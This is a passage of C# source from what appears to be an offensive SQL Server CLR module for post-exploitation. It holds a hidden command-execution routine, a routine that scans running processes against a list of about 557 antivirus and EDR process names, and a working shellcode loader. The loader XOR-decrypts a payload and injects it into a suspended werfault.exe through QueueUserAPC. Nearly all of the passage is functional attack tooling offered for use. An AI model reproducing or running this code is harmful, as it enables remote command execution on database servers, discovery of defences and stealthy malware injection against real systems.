24 | SqlContext.Pipe.Send("[+] RunCommand: " + filename + " " + arguments);
25 | Process process = new Process();
26 | SqlContext.Pipe.Send("\n");
27 | process.StartInfo.FileName = filename;
28 | if (!string.IsNullOrEmpty(arguments))
29 | {
30 | process.StartInfo.Arguments = arguments;
31 | }
32 | process.StartInfo.CreateNoWindow = true;
33 | process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
34 | process.StartInfo.UseShellExecute = false;
35 | process.StartInfo.RedirectStandardError = true;
36 | process.StartInfo.RedirectStandardOutput = true;
37 | StringBuilder stdOutput = new StringBuilder();
38 | process.OutputDataReceived += delegate(object sender, DataReceivedEventArgs args)
39 | {
40 | stdOutput.AppendLine(args.Data);
41 | };
42 | string value = null;
43 | try
44 | {
45 | process.Start();
46 | process.BeginOutputReadLine();
47 | value = process.StandardError.ReadToEnd();
48 | process.WaitForExit();
49 | }
50 | catch (Exception ex)
51 | {
52 | SqlContext.Pipe.Send(ex.Message);
53 | }
54 | if (process.ExitCode == 0)
55 | {
56 | SqlContext.Pipe.Send(stdOutput.ToString());
57 | }
58 | else
59 | {
60 | StringBuilder stringBuilder = new StringBuilder();
61 | if (!string.IsNullOrEmpty(value))
62 | {
63 | stringBuilder.AppendLine(value);
64 | }
65 | if (stdOutput.Length != 0)
66 | {
67 | stringBuilder.AppendLine("Std output:");
68 | stringBuilder.AppendLine(stdOutput.ToString());
69 | }
70 | SqlContext.Pipe.Send("[X] " + filename + arguments + " finished with exit code = " + process.ExitCode + ": " + stringBuilder);
71 | }
72 | return stdOutput.ToString();
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/Database/CLR_module/getav.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Text.RegularExpressions;
5 | using Microsoft.SqlServer.Server;
6 |
7 | namespace CLR_module;
8 |
9 | internal class getav
10 | {
11 | public static void run()
12 | {
13 | Dictionary dictionary = new Dictionary();
14 | foreach (string item in avList())
15 | {
16 | string[] array = Regex.Split(item, ":", RegexOptions.IgnoreCase);
17 | string key = array[0].ToString();
18 | string value = array[1].ToString();
19 | dictionary.Add(key, value);
20 | }
21 | SqlContext.Pipe.Send("[*] Finding....");
22 | string value2 = "";
23 | int num = 0;
24 | Process[] processes = Process.GetProcesses();
25 | Process[] array2 = processes;
26 | foreach (Process process in array2)
27 | {
28 | if (dictionary.TryGetValue(process.ProcessName, out value2))
29 | {
30 | SqlContext.Pipe.Send($" [>] proName: {process.ProcessName} appName: {value2}");
31 | num++;
32 | }
33 | }
34 | if (num == 0)
35 | {
36 | SqlContext.Pipe.Send("[!] No anti-virus software on this machine");
37 | }
38 | SqlContext.Pipe.Send("[*] Finish!");
39 | GC.Collect();
40 | }
41 |
42 | public static List avList()
43 | {
44 | List list = new List();
45 | list.AddRange(new string[557]
46 | {
47 | "360tray:360安全卫士-实时保护", "360safe:360安全卫士-主程序", "ZhuDongFangYu:360安全卫士-主动防御", "360sd:360杀毒", "a2guard:a-squared杀毒", "ad-watch:Lavasoft杀毒", "cleaner8:The Cleaner杀毒", "vba32lder:vb32杀毒", "MongoosaGUI:Mongoosa杀毒", "CorantiControlCenter32:Coranti2012杀毒",
48 | "F-PROT:F-Prot AntiVirus", "CMCTrayIcon:CMC杀毒", "K7TSecurity:K7杀毒", "UnThreat:UnThreat杀毒", "CKSoftShiedAntivirus4:Shield Antivirus杀毒", "AVWatchService:VIRUSfighter杀毒", "ArcaTasksService:ArcaVir杀毒", "iptray:Immunet杀毒", "PSafeSysTray:PSafe杀毒", "nspupsvc:nProtect杀毒",
49 | "SpywareTerminatorShield:SpywareTerminator反间谍软件", "BKavService:Bkav杀毒", "MsMpEng:Windows Defender", "SBAMSvc:VIPRE", "ccSvcHst:Norton杀毒", "f-secure:冰岛", "avp:Kaspersky", "KvMonXP:江民杀毒", "RavMonD:瑞星杀毒", "Mcshield:McAfee",
50 | "Tbmon:McAfee", "Frameworkservice:McAfee", "egui:ESET NOD32", "ekrn:ESET NOD32", "eguiProxy:ESET NOD32", "kxetray:金山毒霸", "knsdtray:可牛杀毒", "TMBMSRV:趋势杀毒", "avcenter:Avira(小红伞)", "avguard:Avira(小红伞)",
51 | "avgnt:Avira(小红伞)", "sched:Avira(小红伞)", "ashDisp:Avast网络安全", "rtvscan:诺顿杀毒", "ccapp:SymantecNorton", "NPFMntor:Norton杀毒软件", "ccSetMgr:赛门铁克", "ccRegVfy:Norton杀毒软件", "ksafe:金山卫士", "QQPCRTP:QQ电脑管家",
52 | "avgwdsvc:AVG杀毒", "QUHLPSVC:QUICK HEAL杀毒", "mssecess:微软杀毒", "SavProgress:Sophos杀毒", "SophosUI:Sophos杀毒", "SophosFS:Sophos杀毒", "SophosHealth:Sophos杀毒", "SophosSafestore64:Sophos杀毒", "SophosCleanM:Sophos杀毒", "fsavgui:F-Secure杀毒",
53 | "vsserv:比特梵德", "remupd:熊猫卫士", "FortiTray:飞塔", "safedog:安全狗", "parmor:木马克星", "Iparmor.exe:木马克星", "beikesan:贝壳云安全", "KSWebShield:金山网盾", "TrojanHunter:木马猎手", "GG:巨盾网游安全盾",
54 | "adam:绿鹰安全精灵", "AST:超级巡警", "ananwidget:墨者安全专家", "AVK:AntiVirusKit", "avg:AVG Anti-Virus", "spidernt:Dr.web", "avgaurd:Avira Antivir", "vsmon:Zone Alarm", "cpf:Comodo", "outpost:Outpost Firewall",
55 | "rfwmain:瑞星防火墙", "kpfwtray:金山网镖", "FYFireWall:风云防火墙", "MPMon:微点主动防御", "pfw:天网防火墙", "BaiduSdSvc:百度杀毒-服务进程", "BaiduSdTray:百度杀毒-托盘进程", "BaiduSd:百度杀毒-主程序", "SafeDogGuardCenter:安全狗", "safedogupdatecenter:安全狗",
56 | "safedogguardcenter:安全狗", "SafeDogSiteIIS:安全狗", "SafeDogTray:安全狗", "SafeDogServerUI:安全狗", "D_Safe_Manage:D盾", "d_manage:D盾", "yunsuo_agent_service:云锁", "yunsuo_agent_daemon:云锁", "HwsPanel:护卫神", "hws_ui:护卫神",
57 | "hws:护卫神", "hwsd:护卫神", "HipsTray:火绒", "HipsDaemon:火绒", "wsctrl:火绒", "usysdiag:火绒", "SPHINX:SPHINX防火墙", "bddownloader:百度卫士", "baiduansvx:百度卫士-主进程", "AvastUI:Avast!5主程序",
58 | "emet_agent:EMET", "emet_service:EMET", "firesvc:McAfee", "firetray:McAfee", "hipsvc:McAfee", "mfevtps:McAfee", "mcafeefire:McAfee", "scan32:McAfee", "shstat:McAfee", "vstskmgr:McAfee",
59 | "engineserver:McAfee", "mfeann:McAfee", "mcscript:McAfee", "updaterui:McAfee", "udaterui:McAfee", "naprdmgr:McAfee", "cleanup:McAfee", "cmdagent:McAfee", "frminst:McAfee", "mcscript_inuse:McAfee",
60 | "mctray:McAfee", "_avp32:卡巴斯基", "_avpcc:卡巴斯基", "_avpm:卡巴斯基", "aAvgApi:AVG", "ackwin32:已知杀软进程,名称暂未收录", "alertsvc:Norton AntiVirus", "alogserv:McAfee VirusScan", "anti-trojan:Anti-Trojan Elite", "arr:Application Request Route",
61 | "atguard:AntiVir", "atupdater:已知杀软进程,名称暂未收录", "atwatch:Mustek", "au:NSIS", "aupdate:Symantec", "auto-protect.nav80try:已知杀软进程,名称暂未收录", "autodown:AntiVirus AutoUpdater", "avconsol:McAfee", "avgcc32:AVG", "avgctrl:AVG",
62 | "avgemc:AVG", "avgrsx:AVG", "avgserv:AVG", "avgserv9:AVG", "avgw:AVG", "avkpop:G DATA SOFTWARE AG", "avkserv:G DATA SOFTWARE AG", "avkservice:G DATA SOFTWARE AG", "avkwctl9:G DATA SOFTWARE AG", "avltmain:Panda Software Aplication",
63 | "avnt:H+BEDV Datentechnik GmbH", "avp32:Kaspersky Anti-Virus", "avpcc: Kaspersky AntiVirus", "avpdos32: Kaspersky AntiVirus", "avpm: Kaspersky AntiVirus", "avptc32: Kaspersky AntiVirus", "avpupd: Kaspersky AntiVirus", "avsynmgr:McAfee", "avwin: H+BEDV", "bargains:Exact Advertising SpyWare",
64 | "beagle:Avast", "blackd:BlackICE", "blackice:BlackICE", "blink:micromedia", "blss:CBlaster", "bootwarn:Symantec", "bpc:Grokster", "brasil:Exact Advertising", "ccevtmgr:Norton Internet Security", "cdp:CyberLink Corp.",
65 | "cfd:Motive Communications", "cfgwiz: Norton AntiVirus", "claw95:已知杀软进程,名称暂未收录", "claw95cf:已知杀软进程,名称暂未收录", "clean:windows流氓软件清理大师", "cleaner:windows流氓软件清理大师", "cleaner3:windows流氓软件清理大师", "cleanpc:windows流氓软件清理大师", "cpd:McAfee", "ctrl:已知杀软进程,名称暂未收录",
66 | "cv:已知杀软进程,名称暂未收录", "defalert:Symantec", "defscangui:Symantec", "defwatch:Norton Antivirus", "doors:已知杀软进程,名称暂未收录", "dpf:已知杀软进程,名称暂未收录", "dpps2:PanicWare", "dssagent:Broderbund", "ecengine:已知杀软进程,名称暂未收录", "emsw:Alset Inc",
67 | "ent:已知杀软进程,名称暂未收录", "espwatch:已知杀软进程,名称暂未收录", "ethereal:RationalClearCase", "exe.avxw:已知杀软进程,名称暂未收录", "expert:已知杀软进程,名称暂未收录", "f-prot95:已知杀软进程,名称暂未收录", "fameh32:F-Secure", "fast: FastUsr", "fch32:F-Secure", "fih32:F-Secure",
68 | "findviru:F-Secure", "firewall:AshampooSoftware", "fnrb32:F-Secure", "fp-win: F-Prot Antivirus OnDemand", "fsaa:F-Secure", "fsav:F-Secure", "fsav32:F-Secure", "fsav530stbyb:F-Secure", "fsav530wtbyb:F-Secure", "fsav95:F-Secure",
69 | "fsgk32:F-Secure", "fsm32:F-Secure", "fsma32:F-Secure", "fsmb32:F-Secure", "gbmenu:已知杀软进程,名称暂未收录", "guard:ewido", "guarddog:ewido", "htlog:已知杀软进程,名称暂未收录", "htpatch:Silicon Integrated Systems Corporation", "hwpe:已知杀软进程,名称暂未收录",
70 | "iamapp:Symantec", "iamserv:Symantec", "iamstats:Symantec", "iedriver: Urlblaze.com", "iface:Panda Antivirus Module", "infus:Infus Dialer", "infwin:Msviewparasite", "intdel:Inet Delivery", "intren:已知杀软进程,名称暂未收录", "jammer:已知杀软进程,名称暂未收录",
71 | "kavpf:Kapersky", "kazza:Kapersky", "keenvalue:EUNIVERSE INC", "launcher:Intercort Systems", "ldpro:已知杀软进程,名称暂未收录", "ldscan:Windows Trojans Inspector", "localnet:已知杀软进程,名称暂未收录", "luall:Symantec", "luau:Symantec", "lucomserver:Norton",
72 | "mcagent:McAfee", "mcmnhdlr:McAfee", "mctool:McAfee", "mcupdate:McAfee", "mcvsrte:McAfee", "mcvsshld:McAfee", "mfin32:MyFreeInternetUpdate", "mfw2en:MyFreeInternetUpdate", "mfweng3.02d30:MyFreeInternetUpdate", "mgavrtcl:McAfee",
73 | "mgavrte:McAfee", "mghtml:McAfee", "mgui:BullGuard", "minilog:Zone Labs Inc", "mmod:EzulaInc", "mostat:WurldMediaInc", "mpfagent:McAfee", "mpfservice:McAfee", "mpftray:McAfee", "mscache:Integrated Search Technologies Spyware",
74 | "mscman:OdysseusMarketingInc", "msmgt:Total Velocity Spyware", "msvxd:W32/Datom-A", "mwatch:已知杀软进程,名称暂未收录", "nav:Reuters Limited", "navapsvc:Norton AntiVirus", "navapw32:Norton AntiVirus", "navw32:Norton Antivirus", "ndd32:诺顿磁盘医生", "neowatchlog:已知杀软进程,名称暂未收录",
75 | "netutils:已知杀软进程,名称暂未收录", "nisserv:Norton", "nisum:Norton", "nmain:Norton", "nod32:ESET Smart Security", "norton_internet_secu_3.0_407:已知杀软进程,名称暂未收录", "notstart:已知杀软进程,名称暂未收录", "nprotect:Symantec", "npscheck:Norton", "npssvc:Norton",
76 | "ntrtscan:趋势反病毒应用程序", "nui:已知杀软进程,名称暂未收录", "otfix:已知杀软进程,名称暂未收录", "outpostinstall:Outpost", "patch:趋势科技", "pavw:已知杀软进程,名称暂未收录", "pcscan:趋势科技", "pdsetup:已知杀软进程,名称暂未收录", "persfw:Tiny Personal Firewall", "pgmonitr:PromulGate SpyWare",
77 | "pingscan:已知杀软进程,名称暂未收录", "platin:已知杀软进程,名称暂未收录", "pop3trap:PC-cillin", "poproxy:NortonAntiVirus", "popscan:已知杀软进程,名称暂未收录", "powerscan:Integrated Search Technologies", "ppinupdt:已知杀软进程,名称暂未收录", "pptbc:已知杀软进程,名称暂未收录", "ppvstop:已知杀软进程,名称暂未收录", "prizesurfer:Prizesurfer",
78 | "prmt:OpiStat", "prmvr:Adtomi", "processmonitor:Sysinternals", "proport:已知杀软进程,名称暂未收录", "protectx:ProtectX", "pspf:已知杀软进程,名称暂未收录", "purge:已知杀软进程,名称暂未收录", "qconsole:Norton AntiVirus Quarantine Console", "qserver:Norton Internet Security", "rapapp:BlackICE",
79 | "rb32:RapidBlaster", "rcsync:PrizeSurfer", "realmon:Realmon ", "rescue:已知杀软进程,名称暂未收录", "rescue32:卡巴斯基互联网安全套装", "rshell:已知杀软进程,名称暂未收录", "rtvscn95:Real-time virus scanner ", "rulaunch:McAfee User Interface", "run32dll:PAL PC Spy", "safeweb:PSafe Tecnologia",
80 | "sbserv:Norton Antivirus", "scrscan:360杀毒", "sfc:System file checker", "sh:MKS Toolkit for Win3", "showbehind:MicroSmarts Enterprise Component ", "soap:System Soap Pro", "sofi:已知杀软进程,名称暂未收录", "sperm:已知杀软进程,名称暂未收录", "supporter5:eScorcher反病毒", "symproxysvc:Symantec",
81 | "symtray:Symantec", "tbscan:ThunderBYTE", "tc:TimeCalende", "titanin:TitanHide", "tvmd:Total Velocity", "tvtmd: Total Velocity", "vettray:eTrust", "vir-help:已知杀软进程,名称暂未收录", "vnpc3000:已知杀软进程,名称暂未收录", "vpc32:Symantec",
82 | "vpc42:Symantec", "vshwin32:McAfee", "vsmain:McAfee", "vsstat:McAfee", "wfindv32:已知杀软进程,名称暂未收录", "zapro:Zone Alarm", "zonealarm:Zone Alarm", "AVPM:Kaspersky", "A2CMD:Emsisoft Anti-Malware", "A2SERVICE:a-squared free",
83 | "A2FREE:a-squared Free", "ADVCHK:Norton AntiVirus", "AGB:安天防线", "AHPROCMONSERVER:安天防线", "AIRDEFENSE:AirDefense", "ALERTSVC:Norton AntiVirus", "AVIRA:小红伞杀毒", "AMON:Tiny Personal Firewall", "AVZ:AVZ", "ANTIVIR:已知杀软进程,名称暂未收录",
84 | "APVXDWIN:熊猫卫士", "ASHMAISV:Alwil", "ASHSERV:Avast Anti-virus", "ASHSIMPL:AVAST!VirusCleaner", "ASHWEBSV:Avast", "ASWUPDSV:Avast", "ASWSCAN:Avast", "AVCIMAN:熊猫卫士", "AVCONSOL:McAfee", "AVENGINE:熊猫卫士",
85 | "AVESVC:Avira AntiVir Security Service", "AVEVL32:已知杀软进程,名称暂未收录", "AVGAM:AVG", "AVGCC:AVG", "AVGCHSVX:AVG", "AVGCSRVX:AVG", "AVGNSX:AVG", "AVGCC32:AVG", "AVGCTRL:AVG", "AVGEMC:AVG",
86 | "AVGFWSRV:AVG", "AVGNTMGR:AVG", "AVGSERV:AVG", "AVGTRAY:AVG", "AVGUPSVC:AVG", "AVINITNT:Command AntiVirus for NT Server", "AVPCC:Kaspersky", "AVSERVER:Kerio MailServer", "AVSCHED32:H+BEDV", "AVSYNMGR:McAfee",
87 | "AVWUPSRV:H+BEDV", "BDSWITCH:BitDefender Module", "BLACKD:BlackICE", "CCEVTMGR:Symantec", "CFP:COMODO", "CLAMWIN:ClamWin Portable", "CUREIT:DrWeb CureIT", "DEFWATCH:Norton Antivirus", "DRWADINS:Dr.Web", "DRWEB:Dr.Web",
88 | "DEFENDERDAEMON:ShadowDefender", "EWIDOCTRL:Ewido Security Suite", "EZANTIVIRUSREGISTRATIONCHECK:e-Trust Antivirus", "FIREWALL:AshampooSoftware", "FPROTTRAY:F-PROT Antivirus", "FPWIN:Verizon", "FRESHCLAM:ClamAV", "FSAV32:F-Secure", "FSBWSYS:F-secure", "FSDFWD:F-Secure",
89 | "FSGK32:F-Secure", "FSGK32ST:F-Secure", "FSMA32:F-Secure", "FSMB32:F-Secure", "FSSM32:F-Secure", "GUARDGUI:网游保镖", "GUARDNT:IKARUS", "IAMAPP:Symantec", "INOCIT:eTrust", "INORPC:eTrust",
90 | "INORT:eTrust", "INOTASK:eTrust", "INOUPTNG:eTrust", "ISAFE:eTrust", "KAV:Kaspersky", "KAVMM:Kaspersky", "KAVPF:Kaspersky", "KAVPFW:Kaspersky", "KAVSTART:Kaspersky", "KAVSVC:Kaspersky",
91 | "KAVSVCUI:Kaspersky", "KMAILMON:金山毒霸", "MCAGENT:McAfee", "MCMNHDLR:McAfee", "MCREGWIZ:McAfee", "MCUPDATE:McAfee", "MCVSSHLD:McAfee", "MINILOG:Zone Alarm", "MYAGTSVC:McAfee", "MYAGTTRY:McAfee",
92 | "NAVAPSVC:Norton", "NAVAPW32:Norton", "NAVLU32:Norton", "NAVW32:Norton Antivirus", "NEOWATCHLOG:NeoWatch", "NEOWATCHTRAY:NeoWatch", "NISSERV:Norton", "NISUM:Norton", "NMAIN:Norton", "NOD32:ESET NOD32",
93 | "NPFMSG:Norman个人防火墙", "NPROTECT:Symantec", "NSMDTR:Norton", "NTRTSCAN:趋势科技", "OFCPFWSVC:OfficeScanNT", "ONLINENT:已知杀软进程,名称暂未收录", "OP_MON: OutpostFirewall", "PAVFIRES:熊猫卫士", "PAVFNSVR:熊猫卫士", "PAVKRE:熊猫卫士",
94 | "PAVPROT:熊猫卫士", "PAVPROXY:熊猫卫士", "PAVPRSRV:熊猫卫士", "PAVSRV51:熊猫卫士", "PAVSS:熊猫卫士", "PCCGUIDE:PC-cillin", "PCCIOMON:PC-cillin", "PCCNTMON:PC-cillin", "PCCPFW:趋势科技", "PCCTLCOM:趋势科技",
95 | "PCTAV:PC Tools AntiVirus", "PERSFW:Tiny Personal Firewall", "PERVAC:已知杀软进程,名称暂未收录", "PESTPATROL:Ikarus", "PREVSRV:熊猫卫士", "RTVSCN95:Real-time Virus Scanner", "SAVADMINSERVICE:SAV", "SAVMAIN:SAV", "SAVSCAN:SAV", "SDHELP:Spyware Doctor",
96 | "SHSTAT:McAfee", "SPBBCSVC:Symantec", "SPIDERCPL:Dr.Web", "SPIDERML:Dr.Web", "SPIDERUI:Dr.Web", "SPYBOTSD:Spybot ", "SWAGENT:SonicWALL", "SWDOCTOR:SonicWALL", "SWNETSUP:Sophos", "SYMLCSVC:Symantec",
97 | "SYMPROXYSVC:Symantec", "SYMSPORT:Sysmantec", "SYMWSC:Sysmantec", "SYNMGR:Sysmantec", "TMLISTEN:趋势科技", "TMNTSRV:趋势科技", "TMPROXY:趋势科技", "TNBUTIL:Anti-Virus", "VBA32ECM:已知杀软进程,名称暂未收录", "VBA32IFS:已知杀软进程,名称暂未收录",
98 | "VBA32PP3:已知杀软进程,名称暂未收录", "VCRMON:VirusChaser", "VRMONNT:HAURI", "VRMONSVC:HAURI", "VSHWIN32:McAfee", "VSSTAT:McAfee", "XCOMMSVR:BitDefender", "ZONEALARM:Zone Alarm", "360rp:360杀毒", "afwServ: Avast Antivirus ",
99 | "safeboxTray:360杀毒", "360safebox:360杀毒", "QQPCTray:QQ电脑管家", "KSafeTray:金山毒霸", "KSafeSvc:金山毒霸", "KWatch:金山毒霸", "gov_defence_service:云锁", "gov_defence_daemon:云锁", "smartscreen:Windows Defender", "macompatsvc:McAfee",
100 | "mcamnsvc.exe :McAfee", "masvc:McAfee", "mfemms:McAfee", "mctary:McAfee", "mcshield:McAfee", "mfewc:McAfee", "mfewch:McAfee", "mfefw:McAfee", "mfefire:McAfee", "mfetp:McAfee",
101 | "mfecanary:McAfee", "mfeconsole:McAfee", "mfeesp:McAfee", "fcag:McAfee", "fcags:McAfee", "fcagswd:McAfee", "fcagate:McAfee", "360EntClient:天擎EDR Agent", "edr_sec_plan:深信服EDR Agent", "edr_monitor:深信服EDR Agent",
102 | "edr_agent:深信服EDR Agent", "ESCCControl:启明星辰天珣EDR Agent", "ESCC:启明星辰天珣EDR Agent", "ESAV:启明星辰天珣EDR Agent", "ESCCIndex:启明星辰天珣EDR Agent", "AliYunDun:阿里云云盾", "wdswfsafe:360杀毒-网盾"
103 | });
104 | return list;
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/Database/CLR_module/shellcodeloader.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Runtime.InteropServices;
4 | using System.Text;
5 | using Microsoft.SqlServer.Server;
6 |
7 | namespace CLR_module;
8 |
9 | internal class shellcodeloader
10 | {
11 | public enum ProcessAccessRights
12 | {
13 | All = 2035711,
14 | Terminate = 1,
15 | CreateThread = 2,
16 | VirtualMemoryOperation = 8,
17 | VirtualMemoryRead = 16,
18 | VirtualMemoryWrite = 32,
19 | DuplicateHandle = 64,
20 | CreateProcess = 128,
21 | SetQuota = 256,
22 | SetInformation = 512,
23 | QueryInformation = 1024,
24 | QueryLimitedInformation = 4096,
25 | Synchronize = 1048576
26 | }
27 |
28 | public enum ThreadAccess
29 | {
30 | TERMINATE = 1,
31 | SUSPEND_RESUME = 2,
32 | GET_CONTEXT = 8,
33 | SET_CONTEXT = 16,
34 | SET_INFORMATION = 32,
35 | QUERY_INFORMATION = 64,
36 | SET_THREAD_TOKEN = 128,
37 | IMPERSONATE = 256,
38 | DIRECT_IMPERSONATION = 512,
39 | THREAD_HIJACK = 26,
40 | THREAD_ALL = 1019
41 | }
42 |
43 | public enum MemAllocation
44 | {
45 | MEM_COMMIT = 0x1000,
46 | MEM_RESERVE = 0x2000,
47 | MEM_RESET = 0x80000,
48 | MEM_RESET_UNDO = 0x1000000,
49 | SecCommit = 0x8000000
50 | }
51 |
52 | public enum MemProtect
53 | {
54 | PAGE_EXECUTE = 16,
55 | PAGE_EXECUTE_READ = 32,
56 | PAGE_EXECUTE_READWRITE = 64,
57 | PAGE_EXECUTE_WRITECOPY = 128,
58 | PAGE_NOACCESS = 1,
59 | PAGE_READONLY = 2,
60 | PAGE_READWRITE = 4,
61 | PAGE_WRITECOPY = 8,
62 | PAGE_TARGETS_INVALID = 1073741824,
63 | PAGE_TARGETS_NO_UPDATE = 1073741824
64 | }
65 |
66 | public struct PROCESS_INFORMATION
67 | {
68 | public IntPtr hProcess;
69 |
70 | public IntPtr hThread;
71 |
72 | public int dwProcessId;
73 |
74 | public int dwThreadId;
75 | }
76 |
77 | //internal struct PROCESS_BASIC_INFORMATION
78 | //{
79 | // public IntPtr Reserved1;
80 |
81 | // public IntPtr PebAddress;
82 |
83 | // public IntPtr Reserved2;
84 |
85 | // public IntPtr Reserved3;
86 |
87 | // public IntPtr UniquePid;
88 |
89 | // public IntPtr MoreReserved;
90 | //}
91 |
92 | public struct STARTUPINFO
93 | {
94 | private uint cb;
95 |
96 | private IntPtr lpReserved;
97 |
98 | private IntPtr lpDesktop;
99 |
100 | private IntPtr lpTitle;
101 |
102 | private uint dwX;
103 |
104 | private uint dwY;
105 |
106 | private uint dwXSize;
107 |
108 | private uint dwYSize;
109 |
110 | private uint dwXCountChars;
111 |
112 | private uint dwYCountChars;
113 |
114 | private uint dwFillAttributes;
115 |
116 | public uint dwFlags;
117 |
118 | public ushort wShowWindow;
119 |
120 | private ushort cbReserved;
121 |
122 | private IntPtr lpReserved2;
123 |
124 | private IntPtr hStdInput;
125 |
126 | private IntPtr hStdOutput;
127 |
128 | private IntPtr hStdErr;
129 | }
130 |
131 | [DllImport("Kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
132 | public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
133 |
134 | [DllImport("Kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
135 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
136 |
137 | [DllImport("Kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
138 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
139 |
140 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
141 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
142 |
143 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
144 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
145 |
146 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
147 | public static extern uint ResumeThread(IntPtr hThread);
148 |
149 | [DllImport("Kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
150 | public static extern bool CloseHandle(IntPtr hObject);
151 |
152 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto, SetLastError = true)]
153 | public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
154 |
155 | public static PROCESS_INFORMATION StartProcess(string binaryPath)
156 | {
157 | uint dwCreateFlags = 4u;
158 | STARTUPINFO lpStartinfo = default(STARTUPINFO);
159 | PROCESS_INFORMATION lpProcInformation = default(PROCESS_INFORMATION);
160 | CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, bInheritHandles: false, dwCreateFlags, (IntPtr)0, (IntPtr)0, ref lpStartinfo, out lpProcInformation);
161 | return lpProcInformation;
162 | }
163 |
164 | public static byte[] X0r(byte[] cipher, byte[] key)
165 | {
166 | byte[] array = new byte[cipher.Length];
167 | for (int i = 0; i < cipher.Length; i++)
168 | {
169 | array[i] = (byte)(cipher[i] ^ key[i % key.Length]);
170 | }
171 | return array;
172 | }
173 |
174 | private static bool is64Bit()
175 | {
176 | if (IntPtr.Size == 4)
177 | return false;
178 |
179 | return true;
180 | }
181 |
182 | public static void run(string code, string xor_key)
183 | {
184 | try
185 | {
186 | if (is64Bit())
187 | {
188 | SqlContext.Pipe.Send(String.Format("[+] X64."));
189 | }
190 | else
191 | {
192 | SqlContext.Pipe.Send(String.Format("[+] X86."));
193 | }
194 | SqlContext.Pipe.Send(String.Format("[+] Decrypting XOR encrypted binary using key '{0}'", xor_key));
195 | byte[] cipher = Convert.FromBase64String(code);
196 | byte[] xorKey = Convert.FromBase64String(xor_key);
197 | byte[] array = null;
198 | array = X0r(cipher, xorKey);
199 | uint lpNumberOfBytesWritten = 0u;
200 | PROCESS_INFORMATION pROCESS_INFORMATION = StartProcess("C:/Windows/System32/werfault.exe");
201 | SqlContext.Pipe.Send("[+] StartProcess werfault.exe");
202 | IntPtr intPtr = OpenProcess(2035711u, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwProcessId);
203 | SqlContext.Pipe.Send($"[+] OpenProcess Pid: {pROCESS_INFORMATION.dwProcessId.ToString()}");
204 | IntPtr intPtr2 = VirtualAllocEx(intPtr, IntPtr.Zero, (uint)array.Length, 12288u, 64u);
205 | SqlContext.Pipe.Send("[+] VirtualAllocEx Success");
206 | if (WriteProcessMemory(intPtr, intPtr2, array, (uint)array.Length, ref lpNumberOfBytesWritten))
207 | {
208 | IntPtr hThread = OpenThread(ThreadAccess.THREAD_ALL, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwThreadId);
209 | QueueUserAPC(intPtr2, hThread, IntPtr.Zero);
210 | ResumeThread(hThread);
211 | SqlContext.Pipe.Send($"[+] QueueUserAPC Inject shellcode to PID: {pROCESS_INFORMATION.dwProcessId.ToString()} Success");
212 | }
213 | if (CloseHandle(intPtr))
214 | {
215 | SqlContext.Pipe.Send("[+] hOpenProcessClose Success");
216 | }
217 | SqlContext.Pipe.Send("\n\n[*] QueueUserAPC Inject shellcode Success, enjoy!");
218 | }
219 | catch (Exception ex)
220 | {
221 | SqlContext.Pipe.Send("[X] ERROR Log:" + ex.ToString());
222 | }
223 | }
224 |
225 | // public static void run1(string file, string key)
226 | // {
227 | // try
228 | // {
229 | // SqlContext.Pipe.Send($"[+] EncryptShellcodePath: {file}");
230 | // SqlContext.Pipe.Send($"[+] XorKey: {key}");
231 | // string s = File.ReadAllText(file);
232 | // byte[] cipher = Convert.FromBase64String(s);
233 | // byte[] array = null;
234 | // array = X0r(cipher, Encoding.ASCII.GetBytes(key));
235 | // uint lpNumberOfBytesWritten = 0u;
236 | // PROCESS_INFORMATION pROCESS_INFORMATION = StartProcess("C:/Windows/System32/werfault.exe");
237 | // SqlContext.Pipe.Send("[+] StartProcess werfault.exe");
238 | // IntPtr intPtr = OpenProcess(2035711u, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwProcessId);
239 | // SqlContext.Pipe.Send($"[+] OpenProcess Pid: {pROCESS_INFORMATION.dwProcessId.ToString()}");
240 | // IntPtr intPtr2 = VirtualAllocEx(intPtr, IntPtr.Zero, (uint)array.Length, 12288u, 64u);
241 | // SqlContext.Pipe.Send("[+] VirtualAllocEx Success");
242 | // if (WriteProcessMemory(intPtr, intPtr2, array, (uint)array.Length, ref lpNumberOfBytesWritten))
243 | // {
244 | // IntPtr hThread = OpenThread(ThreadAccess.THREAD_ALL, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwThreadId);
245 | // QueueUserAPC(intPtr2, hThread, IntPtr.Zero);
246 | // ResumeThread(hThread);
247 | // SqlContext.Pipe.Send($"[+] QueueUserAPC Inject shellcode to PID: {pROCESS_INFORMATION.dwProcessId.ToString()} Success");
248 | // }
